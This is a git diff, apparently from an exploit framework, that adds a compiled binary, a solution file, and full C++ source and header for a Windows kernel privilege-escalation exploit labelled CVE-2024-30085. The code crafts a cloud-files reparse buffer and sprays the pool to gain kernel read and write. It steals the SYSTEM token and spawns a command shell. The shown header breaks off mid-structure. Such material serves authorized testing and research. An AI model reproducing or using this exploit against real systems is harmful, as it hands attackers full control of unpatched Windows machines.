diff --git a/data/exploits/CVE-2024-30085/cve-2024-30085.exe b/data/exploits/CVE-2024-30085/cve-2024-30085.exe new file mode 100755 index 000000000000..97b998fc269d Binary files /dev/null and b/data/exploits/CVE-2024-30085/cve-2024-30085.exe differ diff --git a/external/source/exploits/CVE-2024-30085/cve-2024-30085/cve-2024-30085.sln b/external/source/exploits/CVE-2024-30085/cve-2024-30085/cve-2024-30085.sln new file mode 100755 index 000000000000..52df2a113d16 --- /dev/null +++ b/external/source/exploits/CVE-2024-30085/cve-2024-30085/cve-2024-30085.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.34601.136 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "cve-2024-30085", "cve-2024-30085\cve-2024-30085.vcxproj", "{EE5BBC16-E201-4B28-81A8-06250B1D8E7D}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {EE5BBC16-E201-4B28-81A8-06250B1D8E7D}.Debug|x64.ActiveCfg = Debug|x64 + {EE5BBC16-E201-4B28-81A8-06250B1D8E7D}.Debug|x64.Build.0 = Debug|x64 + {EE5BBC16-E201-4B28-81A8-06250B1D8E7D}.Debug|x86.ActiveCfg = Debug|Win32 + {EE5BBC16-E201-4B28-81A8-06250B1D8E7D}.Debug|x86.Build.0 = Debug|Win32 + {EE5BBC16-E201-4B28-81A8-06250B1D8E7D}.Release|x64.ActiveCfg = Release|x64 + {EE5BBC16-E201-4B28-81A8-06250B1D8E7D}.Release|x64.Build.0 = Release|x64 + {EE5BBC16-E201-4B28-81A8-06250B1D8E7D}.Release|x86.ActiveCfg = Release|Win32 + {EE5BBC16-E201-4B28-81A8-06250B1D8E7D}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {8A8177DD-0AB0-45C3-A797-4B308F03BDF0} + EndGlobalSection +EndGlobal diff --git a/external/source/exploits/CVE-2024-30085/cve-2024-30085/cve-2024-30085/cve-2024-30085.cpp b/external/source/exploits/CVE-2024-30085/cve-2024-30085/cve-2024-30085/cve-2024-30085.cpp new file mode 100755 index 000000000000..80489619edf8 --- /dev/null +++ b/external/source/exploits/CVE-2024-30085/cve-2024-30085/cve-2024-30085/cve-2024-30085.cpp @@ -0,0 +1,625 @@ +// main.cpp +#include +#include +#include +#include +#include +#include "cve-2024-30085.h" +#pragma comment(lib, "cldapi.lib") +#pragma comment(lib, "ntdll.lib") +typedef struct _ALPC_MESSAGE_ATTRIBUTES { + ULONG AllocatedAttributes; + ULONG ValidAttributes; +} +ALPC_MESSAGE_ATTRIBUTES, * PALPC_MESSAGE_ATTRIBUTES; +typedef struct _ALPC_MESSAGE { + PORT_MESSAGE PortHeader; + BYTE PortMessage[1000]; +} +ALPC_MESSAGE, * PALPC_MESSAGE; +/* +typedef struct _CLIENT_ID { + HANDLE UniqueProcess; + HANDLE UniqueThread; +} CLIENT_ID; +*/ +/* +typedef enum _SYSTEM_INFORMATION_CLASS { + SystemHandleInformation = 16, + SystemBigPoolInformation = 66 +} SYSTEM_INFORMATION_CLASS; +*/ +typedef struct _RTL_PROCESS_MODULE_INFORMATION { + HANDLE Section; + PVOID MappedBase; + PVOID ImageBase; + ULONG ImageSize; + ULONG Flags; + USHORT LoadOrderIndex; + USHORT InitOrderIndex; + USHORT LoadCount; + USHORT OffsetToFileName; + UCHAR FullPathName[256]; +} +RTL_PROCESS_MODULE_INFORMATION, * PRTL_PROCESS_MODULE_INFORMATION; +typedef struct _RTL_PROCESS_MODULES { + ULONG NumberOfModules; + RTL_PROCESS_MODULE_INFORMATION Modules[1]; +} +RTL_PROCESS_MODULES, * PRTL_PROCESS_MODULES; +typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO { + unsigned short UniqueProcessId; + unsigned short CreatorBackTraceIndex; + unsigned char ObjectTypeIndex; + unsigned char HandleAttributes; + unsigned short HandleValue; + void * Object; + unsigned long GrantedAccess; + long __PADDING__[1]; +} +SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO; +typedef struct _SYSTEM_HANDLE_INFORMATION { + unsigned long NumberOfHandles; + struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1]; +} +SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION; +typedef struct _SYSTEM_BIGPOOL_ENTRY { + union { + PVOID VirtualAddress; + ULONG_PTR NonPaged: 1; + }; + SIZE_T SizeInBytes; + union { + UCHAR Tag[4]; + ULONG TagUlong; + }; +} +SYSTEM_BIGPOOL_ENTRY, * PSYSTEM_BIGPOOL_ENTRY; +typedef struct _SYSTEM_BIGPOOL_INFORMATION { + ULONG Count; + SYSTEM_BIGPOOL_ENTRY AllocatedInfo[1]; +} +SYSTEM_BIGPOOL_INFORMATION, * PSYSTEM_BIGPOOL_INFORMATION; +typedef NTSTATUS(NTAPI * NTFSCONTROLFILE)( + IN HANDLE FileHandle, + IN HANDLE Event OPTIONAL, + IN PVOID ApcRoutine OPTIONAL, + IN PVOID ApcContext OPTIONAL, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG FsControlCode, + IN PVOID InputBuffer OPTIONAL, + IN ULONG InputBufferLength, + OUT PVOID OutputBuffer OPTIONAL, + IN ULONG OutputBufferLength +); +extern "C" +NTSTATUS NTAPI NtAlpcCreatePort( + _Out_ PHANDLE PortHandle, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ PALPC_PORT_ATTRIBUTES PortAttributes +); +extern "C" +NTSTATUS NTAPI NtAlpcCreateResourceReserve( + _In_ HANDLE PortHandle, + _Reserved_ ULONG Flags, + _In_ SIZE_T MessageSize, + _Out_ PHANDLE ResourceId +); +extern "C" +NTSTATUS NTAPI NtAlpcSendWaitReceivePort( + _In_ HANDLE PortHandle, + _In_ ULONG Flags, + _Inout_opt_ PPORT_MESSAGE SendMessage, + _Inout_opt_ PALPC_MESSAGE_ATTRIBUTES SendMessageAttributes, + _Inout_opt_ PPORT_MESSAGE ReceiveMessage, + _Inout_opt_ PSIZE_T BufferLength, + _Inout_opt_ PALPC_MESSAGE_ATTRIBUTES ReceiveMessageAttributes, + _In_opt_ PLARGE_INTEGER Timeout +); +NTFSCONTROLFILE NtFsControlFile; +PREPARSE_DATA_BUFFER MakeDataBuffer(PVOID overData, ULONG overSize) { + DWORD dataLen = 0x3fe8; + PBYTE data = new BYTE[dataLen]; + memset(data, 0, dataLen); + *(PUSHORT) & data[0x0] = 0x0001; + *(PUSHORT) & data[0x2] = 0x4000; + PREPARSE_CLD_BUFFER cld = (PREPARSE_CLD_BUFFER) & data[4]; + PBYTE p = (PBYTE) & cld -> Magic; + cld -> Magic = REPARSE_BUFFER_MAGIC_VALUE; + cld -> Reserved = 0x0000; + cld -> NumItems = 0; + cld -> Size = 0x3fe4; + CLD_ADD_ITEM(0x7, 1, 0x200); // must be {0, 1} + CLD_ADD_ITEM(0xa, 4, 0x204); // some kind of flag + CLD_ADD_ITEM(0x6, 8, 0x208); // ??? + CLD_ADD_ITEM(0, 0, 0); // dummy + CLD_ADD_ITEM(0x11, 0x3800, 0x210); // bitmap + *(PBYTE) & p[0x200] = 0x01; + *(PULONG32) & p[0x204] = 0x00000000; + *(PULONG64) & p[0x208] = 0x0000000000000000; + cld = (PREPARSE_CLD_BUFFER) & p[0x210]; + p = (PBYTE) & cld -> Magic; + cld -> Magic = REPARSE_BITMAP_MAGIC_VALUE; + cld -> Reserved = 0x0000; + cld -> NumItems = 0; + cld -> Size = 0x3800; + CLD_ADD_ITEM(0x7, 1, 0x100); + CLD_ADD_ITEM(0x7, 1, 0x101); + CLD_ADD_ITEM(0x7, 1, 0x102); + CLD_ADD_ITEM(0x6, 8, 0x104); + CLD_ADD_ITEM(0x11, 0x1000 + overSize, 0x110); + *(PBYTE) & p[0x100] = 0x00; + *(PBYTE) & p[0x101] = 0x01; + *(PBYTE) & p[0x102] = 0x00; + memcpy( & p[0x1110], overData, overSize); + PBYTE reparseBuffer = new BYTE[sizeof(REPARSE_DATA_BUFFER) + dataLen]; + PREPARSE_DATA_BUFFER rd = (PREPARSE_DATA_BUFFER) reparseBuffer; + ZeroMemory(reparseBuffer, sizeof(REPARSE_DATA_BUFFER) + dataLen); + rd -> ReparseTag = IO_REPARSE_TAG_CLOUD; + rd -> ReparseDataLength = dataLen; + memcpy(rd -> GenericReparseBuffer.DataBuffer, data, dataLen); + return rd; +} +BOOL GetObjAddr(PVOID * ppObjAddr, ULONG ulPid, HANDLE handle){ + PSYSTEM_HANDLE_INFORMATION pHandleInfo = NULL; + ULONG ulBytes = 0; + NTSTATUS ntRet; + * ppObjAddr = NULL; + while ((ntRet = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS) 16, pHandleInfo, ulBytes, & ulBytes)) == STATUS_INFO_LENGTH_MISMATCH) { + if (pHandleInfo != NULL) { + pHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(pHandleInfo, 2 * ulBytes); + } else { + pHandleInfo = (PSYSTEM_HANDLE_INFORMATION) calloc(1, 2 * ulBytes); + } + } + if (!NT_SUCCESS(ntRet)) { + goto Exit; + } + for (ULONG i = 0; i < pHandleInfo -> NumberOfHandles; i++) { + if ((pHandleInfo -> Handles[i].UniqueProcessId == ulPid) && (pHandleInfo -> Handles[i].HandleValue == (USHORT) handle)) { + * ppObjAddr = pHandleInfo -> Handles[i].Object; + break; + } + } + Exit: + if (pHandleInfo) + free(pHandleInfo); + return ( * ppObjAddr != NULL); +} +BOOL GetPoolAddr(PVOID * ppPoolAddr, UINT tag, SIZE_T poolSize) { + NTSTATUS ntRet; + BOOL bRet = FALSE; + ULONG retlen; + * ppPoolAddr = NULL; + DWORD * info = (DWORD * ) malloc(0x1000); + PSYSTEM_BIGPOOL_INFORMATION pBigPoolInfo; + ntRet = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS) 66, info, 0x1000, & retlen); + if ((ntRet != STATUS_INFO_LENGTH_MISMATCH) && !NT_SUCCESS(ntRet)) { + goto Exit; + } + info = (DWORD * ) realloc(info, retlen); + ntRet = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS) 66, info, retlen, & retlen); + if (!NT_SUCCESS(ntRet)) { + goto Exit; + } + pBigPoolInfo = (PSYSTEM_BIGPOOL_INFORMATION) info; + if (pBigPoolInfo -> Count == 0) { + goto Exit; + } + for (ULONG i = pBigPoolInfo -> Count - 1; i >= 0; i--) { + if ((pBigPoolInfo -> AllocatedInfo[i].TagUlong == tag) && (pBigPoolInfo -> AllocatedInfo[i].SizeInBytes == poolSize)) { + * ppPoolAddr = pBigPoolInfo -> AllocatedInfo[i].VirtualAddress; + bRet = TRUE; + break; + } + } + Exit: + free(info); + return bRet; +} +HANDLE g_readPipe; +HANDLE g_writePipe; +BOOL PipeInit() { + return CreatePipe( & g_readPipe, & g_writePipe, NULL, 0); +} +BOOL PipeWriteAttr(VOID * attr, UINT attrSize) { + IO_STATUS_BLOCK iosb; + char output[0x100]; + NTSTATUS ntRet = NtFsControlFile(g_writePipe, NULL, NULL, NULL, & + iosb, 0x11003C, attr, attrSize, + output, sizeof(output)); + return NT_SUCCESS(ntRet); +} +BOOL PipeReadAttr(CHAR * pipeName, PVOID pOutput, SIZE_T outputSize) { + IO_STATUS_BLOCK iosb; + NTSTATUS ntRet = NtFsControlFile(g_writePipe, NULL, NULL, NULL, & iosb, 0x110038, pipeName, strlen(pipeName) + 1, pOutput, outputSize); + return NT_SUCCESS(ntRet); +} +BOOL PipePoolSprayAlloc(SIZE_T poolSize, UINT sprayCount, BYTE * pAttr, PCSTR szPrefix) { + BOOL bRet = TRUE; + SIZE_T attrSize = poolSize - 0x28; + for (UINT i = 0; i < sprayCount; i++) { + snprintf((CHAR * ) pAttr, attrSize, "%s%x", szPrefix, i); + if (!PipeWriteAttr(pAttr, attrSize)) { + bRet = FALSE; + break; + } + } + return bRet; +} +HANDLE g_hResource = NULL; +BOOL AllocateALPCReserveHandles(HANDLE * phPorts, UINT portsCount, UINT reservesCount) { + HANDLE hPort; + HANDLE hResource; + NTSTATUS ntRet; + for (UINT i = 0; i < portsCount; i++) { + hPort = phPorts[i]; + for (UINT j = 0; j < reservesCount; j++) { + ntRet = NtAlpcCreateResourceReserve(hPort, 0, 0x28, & hResource); + if (!NT_SUCCESS(ntRet)) + return FALSE; + if (g_hResource == NULL) { // save only the very first + g_hResource = hResource; + } + } + } + return TRUE; +} +BOOL isKernAddr(ULONG_PTR kaddr) { + return ((kaddr & 0xffff800000000000) == 0xffff800000000000); +} +BOOL CreateALPCPorts() { + ALPC_PORT_ATTRIBUTES portAttr; + OBJECT_ATTRIBUTES oa; + NTSTATUS status; + UNICODE_STRING objName; + WCHAR portName[100]; + for (UINT i = 0; i < g_portCount; i++) { + swprintf_s(portName, 100, L"\\RPC Control\\TestPort_%d", i); + RtlInitUnicodeString( & objName, portName); + InitializeObjectAttributes( & oa, & objName, 0, 0, NULL); + ZeroMemory( & portAttr, sizeof(portAttr)); + portAttr.MaxMessageLength = MAX_MSG_LEN; + status = NtAlpcCreatePort( & g_ports[i], & oa, & portAttr); + if (NT_SUCCESS(status) == FALSE) { + return FALSE; + } + } + return TRUE; +} +BOOL GetTokenOffset(PUINT offset) { + BOOL result = FALSE; + PBYTE peb; + USHORT buildNumber; + peb = * (PBYTE * )((PBYTE) NtCurrentTeb() + 0x60); + buildNumber = * (PUINT16) & peb[0x120]; + if (WINDOWS_BUILD_19H1 <= buildNumber && buildNumber <= WINDOWS_BUILD_19H2) { + * offset = 0x360; + result = TRUE; + } else if (buildNumber >= WINDOWS_BUILD_19H2) { + * offset = 0x4b8; + result = TRUE; + } + return result; +} +BOOL Initialize() { + BOOL result; + g_ports = (PHANDLE) HeapAlloc(GetProcessHeap(), 0, g_portCount * sizeof(HANDLE)); + if (g_ports == NULL) { + return FALSE; + } + result = CreatePipe( & g_readPipe, & g_writePipe, NULL, 0); + if (result == FALSE) { + return FALSE; + } + result = CreateALPCPorts(); + if (result == FALSE) { + return FALSE; + } + CONST ULONG poolAlHaSize = 0x1000; + CONST ULONG reservesCount = (poolAlHaSize / 2) / sizeof(ULONG_PTR) + 1; + printf(" allocating alpc reserve handles\n"); + result = AllocateALPCReserveHandles(g_ports, g_portCount, reservesCount - 1); + if (!result) { + return FALSE; + } + HMODULE ntdll; + ntdll = LoadLibraryW(L"ntdll.dll"); + if (ntdll == NULL) { + return FALSE; + } + NtFsControlFile = (NTFSCONTROLFILE) GetProcAddress(ntdll, "NtFsControlFile"); + if (NtFsControlFile == NULL) { + return FALSE; + } + PKALPC_BLOB blob; + blob = (PKALPC_BLOB) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(KALPC_BLOB) + sizeof(KALPC_RESERVE)); + if (blob == NULL) { + return FALSE; + } + blob -> Ref = 1; + blob -> Type = AlpcReserveType; + g_reserve = (PKALPC_RESERVE) & blob -> Data; + blob = (PKALPC_BLOB) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(KALPC_BLOB) + sizeof(KALPC_MESSAGE)); + if (blob == NULL) { + return FALSE; + } + blob -> Ref = 1; + blob -> Type = AlpcMessageType; + g_message = (PKALPC_MESSAGE) & blob -> Data; + g_reserve -> Size = sizeof(KALPC_RESERVE) - sizeof(g_reserve -> Size); + g_reserve -> Message = g_message; + g_message -> Reserve = g_reserve; + return TRUE; +} +int main() { + BOOL result; + NTSTATUS status; + UINT tokenOffset; + printf("[*] Checking windows version...\n"); + if (GetTokenOffset( & tokenOffset) == FALSE) { + printf("[-] Error\n"); + return FALSE; + } + printf("[*] Initializing...\n"); + if (Initialize() == FALSE) { + printf("[-] Error\n"); + return FALSE; + } + CF_SYNC_REGISTRATION reg = {}; + reg.StructSize = sizeof(reg); + reg.ProviderName = L"TestProvider"; + reg.ProviderVersion = L"1234"; + reg.ProviderId = { + 0xB196E670, + 0x59C7, + 0x4D41, + { + 0 + } + }; + CF_SYNC_POLICIES pol = {}; + pol.StructSize = sizeof(pol); + pol.HardLink = CF_HARDLINK_POLICY_ALLOWED; + pol.InSync = CF_INSYNC_POLICY_NONE; + pol.Hydration.Primary = CF_HYDRATION_POLICY_PARTIAL; + pol.Population.Primary = CF_POPULATION_POLICY_PARTIAL; + CF_CONNECTION_KEY key = {}; + CF_CALLBACK_REGISTRATION table[1] = { + CF_CALLBACK_REGISTRATION_END + }; + WCHAR targetDir[MAX_PATH + 1] = {}; + WCHAR targetPath[MAX_PATH + 1] = {}; + WCHAR tmpPath[MAX_PATH + 1] = {}; + GetCurrentDirectory(MAX_PATH, targetDir); + swprintf_s(targetPath, L"%s\\SYNC_ROOT", targetDir); + CfUnregisterSyncRoot(targetPath); + RemoveDirectory(targetPath); + printf(" registering provider\n"); + result = CreateDirectory(targetPath, NULL); + if (result == FALSE) { + printf("[-] Error\n"); + return FALSE; + } + status = CfRegisterSyncRoot(targetPath, & reg, & pol, CF_REGISTER_FLAG_NONE); + if (NT_SUCCESS(status) == FALSE) { + printf("[-] Error\n"); + return FALSE; + } + status = CfConnectSyncRoot(targetPath, table, NULL, CF_CONNECT_FLAG_NONE, & key); + if (NT_SUCCESS(status) == FALSE) { + printf("[-] Error\n"); + return FALSE; + } + printf(" creating reparse point\n"); + swprintf_s(tmpPath, L"%s\\XXX", targetPath); + result = CreateDirectory(tmpPath, NULL); + if (result == FALSE) { + printf("[-] Error\n"); + return FALSE; + } + swprintf_s(tmpPath, L"%s\\XXX", targetDir); + result = MoveFile(targetPath, tmpPath); + if (result == FALSE) { + printf("[-] Error\n"); + return FALSE; + } + printf(" setting reparse data\n"); + IO_STATUS_BLOCK iosb = {}; + OBJECT_ATTRIBUTES objAttr = {}; + UNICODE_STRING objName = {}; + WCHAR path[MAX_PATH]; + HANDLE file; + swprintf_s(path, MAX_PATH, L"\\??\\%s%s", targetDir, L"\\XXX\\XXX"); + RtlInitUnicodeString( & objName, path); + InitializeObjectAttributes( & objAttr, & objName, 0x40, 0, NULL); + status = NtCreateFile( & file, GENERIC_READ | GENERIC_WRITE, & objAttr, & iosb, NULL, 0, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN_IF, FILE_DIRECTORY_FILE, NULL, 0); + if (NT_SUCCESS(status) == FALSE) { + printf("[-] Error\n"); + return FALSE; + } + PREPARSE_DATA_BUFFER rd = MakeDataBuffer( & g_reserve, sizeof(g_reserve)); + if (rd == NULL) { + printf("[-] Error\n"); + return FALSE; + } + status = NtFsControlFile(file, NULL, NULL, NULL, & iosb, FSCTL_SET_REPARSE_POINT, rd, rd -> ReparseDataLength + REPARSE_GUID_DATA_BUFFER_HEADER_SIZE, NULL, 0); + CloseHandle(file); + swprintf_s(tmpPath, L"%s\\XXX", targetDir); + result = MoveFile(tmpPath, targetPath); + if (result == FALSE) { + printf("[-] Error\n"); + return FALSE; + } + // Trigger + ULONG attrSize = 0x1000; + BYTE * pAttr = (BYTE * ) calloc(attrSize + 10, sizeof(BYTE)); + memset(pAttr, 0, attrSize); + result = PipePoolSprayAlloc(0x1000, 1, pAttr, "x"); + if (!result) { + printf("[-] Error\n"); + return FALSE; + } + result = PipePoolSprayAlloc(0x1000, SPRAY_COUNT, pAttr, "a"); + if (!result) { + printf("[-] Error\n"); + return FALSE; + } + result = PipePoolSprayAlloc(0x1000, SPRAY_COUNT, pAttr, "b"); + if (!result) { + printf("[-] Error\n"); + return FALSE; + } + UINT holesCount = 0; + for (int i = 0; i < SPRAY_COUNT; i += 2) { + snprintf((CHAR * ) pAttr, attrSize, "%s%x", "b", i); + if (!PipeWriteAttr(pAttr, strlen((CHAR * ) pAttr) + 1)) { + printf("[-] Error\n"); + return FALSE; + } + holesCount++; + } + result = AllocateALPCReserveHandles(g_ports, g_portCount, 1); + if (!result) { + printf("[-] Error\n"); + return FALSE; + } + for (int i = 1; i < SPRAY_COUNT; i += 2) { + snprintf((CHAR * ) pAttr, attrSize, "%s%x", "b", i); + if (!PipeWriteAttr(pAttr, strlen((CHAR * ) pAttr) + 1)) { + printf("[-] Error\n"); + return FALSE; + } + } + swprintf_s(tmpPath, L"%s\\XXX", targetPath); + file = CreateFile(tmpPath, GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL); + printf("[*] Cleaning up...\n"); + status = CfDisconnectSyncRoot(key); + if (NT_SUCCESS(status) == FALSE) { + printf("[-] Error\n"); + return FALSE; + } + status = CfUnregisterSyncRoot(targetPath); + if (NT_SUCCESS(status) == FALSE) { + printf("[-] Error\n"); + return FALSE; + } + swprintf_s(tmpPath, L"%s\\XXX", targetPath); + result = RemoveDirectory(tmpPath); + if (result == FALSE) { + printf("[-] Error\n"); + return FALSE; + } + result = RemoveDirectory(targetPath); + if (result == FALSE) { + printf("[-] Error\n"); + return FALSE; + } + printf("[*] Entering interactive session...\n"); + ULONG_PTR ullEPROCaddr = NULL; + ULONG_PTR ullSystemEPROCaddr = NULL; + DWORD dwPid = GetCurrentProcessId(); + HANDLE hProc = OpenProcess(PROCESS_QUERY_INFORMATION, 0, dwPid); + if (hProc == NULL) { + printf("[-] Error\n"); + return FALSE; + } + CONST UINT PIPE_ATTR_TAG = 0x7441704E; + ULONG_PTR ullPipeAttributeAddr = NULL; + result = GetPoolAddr((PVOID * ) & ullPipeAttributeAddr, PIPE_ATTR_TAG, 0x1000); + if (!result) { + printf("[-] Error\n"); + return FALSE; + } + result = GetObjAddr((PVOID * ) & ullSystemEPROCaddr, 4, (HANDLE) 4); + if (!result) { + printf("[-] Error\n"); + return FALSE; + } + result = GetObjAddr((PVOID * ) & ullEPROCaddr, GetCurrentProcessId(), hProc); + if (!result) { + printf("[-] Error\n"); + return FALSE; + } + CHAR pipeName[] = "xxx"; + BYTE * outputData = (BYTE * ) calloc(1, 0x1000); + ULONG_PTR ullToken; + LIST_ENTRY tmpEntry; + g_message -> ExtensionBuffer = (BYTE * ) ullPipeAttributeAddr + 0x20; + g_message -> ExtensionBufferSize = 0x10; + ULONG DataLength = 0x10; + ALPC_MESSAGE * alpcMessage = (ALPC_MESSAGE * ) calloc(1, sizeof(ALPC_MESSAGE)); + alpcMessage -> PortHeader.u1.s1.DataLength = DataLength; + alpcMessage -> PortHeader.u1.s1.TotalLength = sizeof(PORT_MESSAGE) + DataLength; + alpcMessage -> PortHeader.MessageId = (ULONG) g_hResource; + ULONG_PTR * pAlpcMsgData = (ULONG_PTR * )((BYTE * ) alpcMessage + sizeof(PORT_MESSAGE)); + pAlpcMsgData[0] = ullSystemEPROCaddr; // AttributeValue + pAlpcMsgData[1] = 0x00787878; // name + for (int i = 0; i < g_portCount; i++) { + status = NtAlpcSendWaitReceivePort(g_ports[i], ALPC_MSGFLG_NONE, (PPORT_MESSAGE) alpcMessage, NULL, NULL, NULL, NULL, NULL); + if (!NT_SUCCESS(status)) { + printf("[-] Error\n"); + return FALSE; + } + } + // read system token + result = PipeReadAttr(pipeName, outputData, 0x1000); + if (!result) { + printf("[-] Error\n"); + return FALSE; + } + ullToken = * (ULONG_PTR * )(outputData + tokenOffset); + tmpEntry = g_message -> Entry; + if (!isKernAddr(ullToken)) { + printf("[-] Error\n"); + return FALSE; + } + PKALPC_BLOB blob; + blob = (PKALPC_BLOB)(g_reserve) - 1; + memset(blob, 0, sizeof(KALPC_BLOB) + sizeof(KALPC_RESERVE)); + blob -> Ref = 1; + blob -> Type = AlpcReserveType; + g_reserve -> Size = 0x28; + g_reserve -> Message = g_message; + blob = (PKALPC_BLOB)(g_message) - 1; + memset(blob, 0, sizeof(KALPC_BLOB) + sizeof(KALPC_MESSAGE)); + blob -> Ref = 1; + blob -> Type = AlpcMessageType; + g_message -> Reserve = g_reserve; + g_message -> ExtensionBuffer = (BYTE * ) ullEPROCaddr + tokenOffset; + g_message -> ExtensionBufferSize = 8; + DataLength = 8; + memset(alpcMessage, 0, sizeof(ALPC_MESSAGE)); + alpcMessage -> PortHeader.u1.s1.DataLength = DataLength; + alpcMessage -> PortHeader.u1.s1.TotalLength = sizeof(PORT_MESSAGE) + DataLength; + alpcMessage -> PortHeader.MessageId = (ULONG) g_hResource; + pAlpcMsgData[0] = ullToken; + for (int i = 0; i < g_portCount; i++) { + NtAlpcSendWaitReceivePort(g_ports[i], ALPC_MSGFLG_NONE, (PPORT_MESSAGE) alpcMessage, NULL, NULL, NULL, NULL, NULL); + } + g_message -> Entry = tmpEntry; + STARTUPINFO StartupInfo = { + 0 + }; + PROCESS_INFORMATION ProcessInformation = { + 0 + }; + result = CreateProcess( + L"C:\\Windows\\System32\\cmd.exe", + NULL, + NULL, + NULL, + FALSE, + CREATE_NEW_CONSOLE, + NULL, + NULL, & + StartupInfo, & + ProcessInformation + ); + if (result == FALSE) { + printf("[-] Error\n"); + return FALSE; + } + while (1) {}; +} + diff --git a/external/source/exploits/CVE-2024-30085/cve-2024-30085/cve-2024-30085/cve-2024-30085.h b/external/source/exploits/CVE-2024-30085/cve-2024-30085/cve-2024-30085/cve-2024-30085.h new file mode 100644 index 000000000000..7e05da3b4311 --- /dev/null +++ b/external/source/exploits/CVE-2024-30085/cve-2024-30085/cve-2024-30085/cve-2024-30085.h @@ -0,0 +1,186 @@ +#pragma once +/* + Definitions (main.h) +*/ +#define MAX_MSG_LEN 0x500 +#define ALPC_MSGFLG_NONE 0x0 +#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004 +#define WINDOWS_BUILD_19H1 18362 +#define WINDOWS_BUILD_19H2 18363 +#define SPRAY_COUNT 0x1000 +#define REPARSE_BUFFER_MAGIC_VALUE 'pReF' +#define REPARSE_BITMAP_MAGIC_VALUE 'pRtB' +#define TARGET_PATH L"C:\\Users\\user\\source\\repos\\ConsoleApplication2\\SYNC_ROOT" +#define TARGET_DIR L"C:\\Users\\user\\source\\repos\\ConsoleApplication2\\" +#define CLD_ADD_ITEM(tag, size, offset) {cld->Items[cld -> NumItems].Tag = tag; cld->Items[cld -> NumItems].Size = size; cld->Items[cld -> NumItems].Offset = offset; cld->NumItems++;} +/* + Structs +*/ + +typedef enum _KALPC_BLOB_TYPE { + AlpcMessageType = 0x200, + AlpcReserveType = 0x700 +} +KALPC_BLOB_TYPE; +typedef struct _PORT_MESSAGE { + union { + struct { + USHORT DataLength; + USHORT TotalLength; + } + s1; + ULONG Length; + } + u1; + union { + struct { + USHORT Type; + USHORT DataInfoOffset; + } + s2; + ULONG ZeroInit; + } + u2; + union { + CLIENT_ID ClientId; + double DoNotUseThisField; + }; + ULONG MessageId; + union { + SIZE_T ClientViewSize; + ULONG CallbackId; + }; +} +PORT_MESSAGE, * PPORT_MESSAGE; +typedef struct _KALPC_BLOB { + ULONGLONG Type; + LONGLONG Ref; + ULONGLONG Reserved1; + ULONGLONG Reserved2; + CHAR Data[]; +} +KALPC_BLOB, * PKALPC_BLOB; +typedef struct _KALPC_MESSAGE { + struct _LIST_ENTRY Entry; + struct _ALPC_PORT * PortQueue; + struct _ALPC_PORT * OwnerPort; + struct _ETHREAD * WaitingThread; + union { + struct { + ULONG QueueType: 3; + ULONG QueuePortType: 4; + ULONG Canceled: 1; + ULONG Ready: 1; + ULONG ReleaseMessage: 1; + ULONG SharedQuota: 1; + ULONG ReplyWaitReply: 1; + ULONG OwnerPortReference: 1; + ULONG ReceiverReference: 1; + ULONG ViewAttributeRetrieved: 1; + ULONG ViewAttributeDeleteOnRelease: 1; + ULONG InDispatch: 1; + ULONG InCanceledQueue: 1; + } + s1; + ULONG State; + } + u1; + LONG SequenceNo; + union { + struct _EPROCESS * QuotaProcess; + VOID * QuotaBlock; + }; + struct _ALPC_PORT * CancelSequencePort; + struct _ALPC_PORT * CancelQueuePort; + LONG CancelSequenceNo; + struct _LIST_ENTRY CancelListEntry; + struct _KALPC_RESERVE * Reserve; + BYTE MessageAttributesStub[0x48]; + VOID * DataUserVa; + struct _ALPC_COMMUNICATION_INFO * CommunicationInfo; + struct _ALPC_PORT * ConnectionPort; + struct _ETHREAD * ServerThread; + VOID * WakeReference; + VOID * WakeReference2; + VOID * ExtensionBuffer; + ULONGLONG ExtensionBufferSize; + struct _PORT_MESSAGE PortMessage; +} +KALPC_MESSAGE, * PKALPC_MESSAGE; +typedef struct _KALPC_RESERVE { + struct _ALPC_PORT * OwnerPort; + struct _ALPC_HANDLE_TABLE * HandleTable; + VOID * Handle; + struct _KALPC_MESSAGE * Message; + ULONGLONG Size; + LONG Active; +} +KALPC_RESERVE, * PKALPC_RESERVE; +typedef struct _ALPC_PORT_ATTRIBUTES { + unsigned long Flags; + SECURITY_QUALITY_OF_SERVICE SecurityQos; + unsigned __int64 MaxMessageLength; + unsigned __int64 MemoryBandwidth; + unsigned __int64 MaxPoolUsage; + unsigned __int64 MaxSectionSize; + unsigned __int64 MaxViewSize; + unsigned __int64 MaxTotalSectionSize; + ULONG DupObjectTypes; + #ifdef _WIN64 + ULONG Reserved; + #endif +} +ALPC_PORT_ATTRIBUTES, * PALPC_PORT_ATTRIBUTES; +typedef struct _REPARSE_DATA_BUFFER { + ULONG ReparseTag; + USHORT ReparseDataLength; + USHORT Reserved; + union { + struct { + USHORT SubstituteNameOffset; + USHORT 